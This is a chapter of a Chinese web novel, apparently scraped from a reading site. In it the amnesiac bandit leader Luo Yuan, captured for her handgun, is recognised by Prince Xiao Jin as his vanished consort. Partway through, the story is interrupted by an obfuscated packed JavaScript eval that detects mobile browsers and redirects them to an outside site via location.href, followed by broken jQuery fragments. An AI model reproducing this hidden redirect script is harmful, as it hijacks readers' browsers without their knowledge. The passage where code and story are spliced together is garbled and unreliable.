“好武器!女侠,是否可以请教下,你手中拿的是为何物?”那人丝毫不惧,径直走上前,面含笑意。


    “秘密。”洛鸢小心翼翼收起火鸟,用嘴轻轻吹了吹方才射击时散出的烟雾,将它重新收拢回衣裳,淡淡一笑,“姐姐凭什么告诉你。”


    那人不肯作罢,依旧好言好色:“还请女侠告知。到时可支付给你们满意的酬金。”


    洛鸢嘴角衔一棵草,嚼几下后唾出去,眼含不屑:“老娘靠这玩意保命的,你算哪根葱,若你们一个个学了去,那老娘我以后怎么办!”


    那人仍不急躁,笑道:“既然姑娘不识趣,那别怪我不客气了。”他说完,直接扑向洛鸢,准备将火鸟从洛鸢手中抢过来。


    洛鸢手下的人顿时紧张,大喝一声后纷纷加入缠斗。但几个回合之后,这些人全都败下阵来,被男人及其手下活活生擒。


    洛鸢也被用软绳反手绑起来,被男人扔到一匹马上。他得意地勾唇,冲洛鸢手下大喊:“得罪了,她得跟我回去一趟。”


    “放开我们老大!”


    “老大——”


    “你耐心等等,老大,我们一定会救你的!”


    洛鸢面色难看,口中被塞了帕子无法说话,只能呜呜呀呀地叫嚷,隐约能听出里面有不少骂人的词语。


    她无奈地朝手下瞪了瞪眼,随即被那人缚着,随浩浩荡荡的商队一起离开此处。


    *


    边防大营。


    洛鸢被扔进一座帐篷,她朦胧地睁眼,发现前方高座上坐着一个眉目冷峻的男人。


    “残灯,将她面纱和口中的帕子卸走,我要看看是谁有如此本事,竟敢屡次劫我军营的东西。”


    “是,乌大将军!”


    洛鸢连忙反驳:“谁抢军营的东西了!之前误抢的,哪次没送回去?哪次!”


    乌桑和残灯好像都认不出她,依旧面若冰霜:“哦,当然还过,不过只有两次。”


    “你们血口喷人!”洛鸢不服。


    残灯刚想上前打她,突然被从外面进来的一个身影厉声喝止。


    洛鸢扭身望向他,然后立即顿住。这个人看着极为熟悉,与她梦里那个人很像,不,似乎就是同一个人!


    她望向他,眼神既好奇又花痴。


    见他进来,其他人纷纷行礼:“参见殿下!”


    乌桑走近他,低声道:“殿下,残灯说这女人手中有一种极为罕见的武器,武力威猛,可以一敌十。今日将她擒来,就是为了拿到这个武器的制作方法。”


    乌桑提到被捆在地上的女子时,面上竟无半点波澜,仿佛今日才第一次见到她。


    此时,萧烬的视线一直停留在洛鸢脸上,朝乌桑震惊道:“你......不认识她?”


    乌桑略有些懵:“呃......殿下,我、该认识她吗?”


    “残灯,你呢,你不可能不记得她吧!竟敢如此粗暴地绑她!”萧烬恼怒。


    自萧烬来到军中后,残灯和铁勺真人便立即从北凛国返回与他汇合了,目前在军中担负着重要职务。


    见殿下质问,残灯迷茫地摇了摇头:“殿下,您在说什么?今日属下才刚与她交手,之前素未谋面啊!难道您认识这位女子?”


    “师父,你呢?你之前在大胤见过她,密林打猎那次......你好好回忆下。”萧烬不甘心,又问站在一旁的铁勺真人。


    铁勺同样否认。


    难道这些人合起伙来耍弄他吗!


    萧烬忍不住低吼:“难道你们都不记得本王的王妃了?!”


    “王妃不是失踪了吗,不过属下好像确实记不清她的样貌了......”


    “殿下,您娶妻了?何时的事。”


    “属下之前有幸见过王妃吗,为何一点印象也无了?”


    ......


    萧烬觉得蹊跷,他立即下令命所有人离开。


    随即将地上的女人松绑,苦笑道:“那日你不辞而别,我以为我们今生不会再见了,没想到竟以这样的方式重逢。”


    “阿鸢,你真是好本事!竟然有能耐串通他们......集体装作不认识你......你以为这样就可以躲得掉我?!”


    洛鸢觉得他的声音很好听,满脸花痴样地盯着他,痴痴道:“什么不辞而别、什么串通啊,你这人好生奇怪,我根本谁都不认识,今日真是倒了血霉才栽到你们手里。”


    “英雄,行行好,放我离开好吗,嘿嘿,小女子也是为了生计没办法,实在不是有意要劫你们的货......”


    萧烬望着她,眼眶慢慢变红:“阿鸢,我知道你还在生我的气。见不到你的时日,我日夜反思。我错了。我以后会无条件相信你,再也不会伤害你一分一毫——”


    洛鸢打断他:“这位......殿下,你许是搞错了吧?我根本不认识你呀。老......本姑娘生于此长于此,可没机会认识什么王爷。哼,否则老......本姑娘还至于沦落到天天领着一帮兄弟劫富济贫吗?”


    “俊哥哥,你真认错人了,嘿嘿。要不放我走?全家一百多口人还指望我讨生活呢。”


    萧烬淡淡勾唇。


    装的,一定是装的。洛鸢的演技,萧烬又不是没见识过。


    他抹去眼角的泪,神情瞬间变得严肃,战袍一掀,大马金刀坐在高座上,冷冷一笑:“洛鸢,你很喜欢演是吧?那我便陪你演!”


    洛鸢脸上依旧平静,只是盯着萧烬一直傻笑:“哎,你长得还行,是老......姐姐我喜欢的类型。既然你也喜欢我,不如娶我做夫人吧。但、但我们可说好,我手下那帮兄弟你得管饭。”


    萧烬大无语地瞪着她,无奈苦笑。


    他不会认错人,方才萧烬早已注意到从洛鸢身上不小心滑落在地的木质人偶,那分明就是他一刀一刀雕刻的那只。


    萧烬走上前,从地上捡起它,声音沙哑:“别闹了,好吗?你若真想与我一刀两断,又岂会至今仍将它带在身上。我看人偶表面早已光滑泛光,若你......不是时常拿出来抚摸,又岂会如此?”


    洛鸢眼神一慌,一把将人偶夺过去。


    她攥着人偶,头突然有些疼:“别、别乱动我的东西。”


    萧烬愈发无奈地笑笑,不知该开心还是难过:“看样子,你很珍视它?”


    洛鸢回怼:“那是......自然。毕竟它一直跟着我,从未分开过。说不定,是我父母留给我的。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233252|187941||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    萧烬喉结快速滚动几下,满脸无语地瞪着她。洛鸢,你还要跟我演到什么时候!


    萧烬自到军营后每日操练,身体比之前结实勇猛不少。他走近并偷袭洛鸢,原想试探下她的功夫,却不想洛鸢竟就这样轻易被他擒住。


    她身子绵软无力,与之前简直判若两人。


    萧烬忍不住愣了愣,满是震惊:“你功夫呢?”


    洛鸢堆笑:“嘻嘻,小女子哪会什么功夫,只是略懂一些三脚猫把戏而已啦。”


    萧烬依旧疑惑,拧眉:“不对吧,你若没些本事,是如何做那些精壮男子的老大?莫非......是靠脸?”


    他有些动摇了,眼前这人,到底是谁?


    “这位......眼神不太好使的......殿下,就这么瞧不起我们女子?”洛鸢白他一眼,掏出火鸟在他眼前晃了晃,目光得意,“看到了吧,这是老娘的立身之本,仅此一把,我的。有它在手,别说一百多人,就算有一千人,老娘也不在怕的。”


    还是自称“老娘”爽一点。


    萧烬盯着洛鸢手中的东西,眼底沉了几沉,原来这就是残灯和乌桑口里那个厉害的武器?在这世上,能造出手枪的,恐怕只有他的王妃了。


    许久后,他双眼泛光:“阿鸢,我就知道是你。”


    洛鸢再次无语地翻翻白眼。


    “你手下将我抓来,说想要它的制作方法。殿下,”洛鸢凑近萧烬耳旁,声音变得绵软温柔,“你说,我给、还是不给呀?”


    洛鸢这波漫不经心的无意之举,将萧烬撩得七荤八素,脸颊不由自主地红了又红。


    片刻后,干咳:“阿鸢,别闹了。如今梁王把持朝政大权,我们与他终须一战。阿鸢,你帮帮我们。你难道不想尽快完成任务了吗?”


    洛鸢是真的听不懂萧烬在说什么。


    但她在梦里不止一次见过萧烬那张棱角分明的脸,让人心里慌兮兮的,心脏一直怦怦乱跳。就让人忍不住......忍不住去捏捏他的脸。


    她的手伸过去,终于触碰到那张略掺杂了些小麦色的面颊时,弯了弯眉眼:“那......我若帮你们做火鸟,我能得到什么好处呀?”


    见洛鸢一直不肯承认“身份”,萧烬叹口气:“阿鸢,你一定要这样折磨我吗?”


    片刻后,他干笑:“当然有好处。许你做我夫人好不好?若将来我登基,再许你做我的皇后、做这大胤朝的一国之母。还有你手下的兄弟们,我也会将他们妥善安置,良田金银随他们挑选。”


    “如何?”


    洛鸢扑哧一笑:“嗯......听着倒是不错。那老......本姑娘好好考虑一下吧。”


    那日,洛鸢为了向系统求取一株能救萧烬一命的紫芝草,不惜以失去清醒自由为代价。如今,她虽已忘记与萧烬经历的一切,但却对他仍有一种说不清道不明的亲近之感。


    一种最原始、最野生的亲近感。


    此刻,夜幕漆黑,灰蒙蒙的流云飞速翻涌流动,天空好像被加了一层浓重扭曲的滤镜,时不时让人神思恍惚几下。


    木偶唇边,似乎藏着浅浅的笑意。


    边防大营中,几乎所有人同时打了个激灵。